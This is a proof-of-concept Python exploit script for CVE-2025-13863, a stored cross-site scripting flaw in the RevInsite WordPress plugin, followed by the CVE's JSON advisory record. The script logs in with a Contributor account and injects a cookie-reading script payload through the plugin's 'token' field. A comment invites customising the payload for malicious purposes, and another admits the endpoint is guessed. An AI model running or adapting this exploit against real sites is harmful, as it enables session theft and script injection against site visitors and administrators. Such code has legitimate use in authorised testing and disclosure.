CVE-2025-13863

import requests # CVE-2025-13863 PoC - Stored XSS in RevInsite WordPress Plugin # Target: WordPress site with RevInsite plugin <= 1.1.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_contributor" PASSWORD = "attacker_password" # XSS payload - can be customized for malicious purposes XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ Exploit the stored XSS vulnerability via the 'token' parameter Requires Contributor-level access to WordPress """ session = requests.Session() # Step 1: Login to WordPress with Contributor account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Inject malicious XSS payload via token parameter # The exact endpoint depends on plugin implementation inject_url = f"{TARGET_URL}/wp-admin/admin.php?page=revinsite-settings" inject_data = { 'token': XSS_PAYLOAD, 'submit': 'Save Changes' } response = session.post(inject_url, data=inject_data) # Step 3: Verify the XSS is stored and executed # Any user visiting the affected page will trigger the payload if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload stored in token parameter") print("[*] Payload will execute when users access the affected page") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_stored_xss()

{"cve": {"id": "CVE-2025-13863", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:52.807", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RevInsite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `token` parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/revinsite/tags/1.1.0/revinsite.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/revinsite/trunk/revinsite.php#L25", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c52de26a-d52c-4b2e-8e51-731115d29bd0?source=cve", "source": "[email protected]"}]}}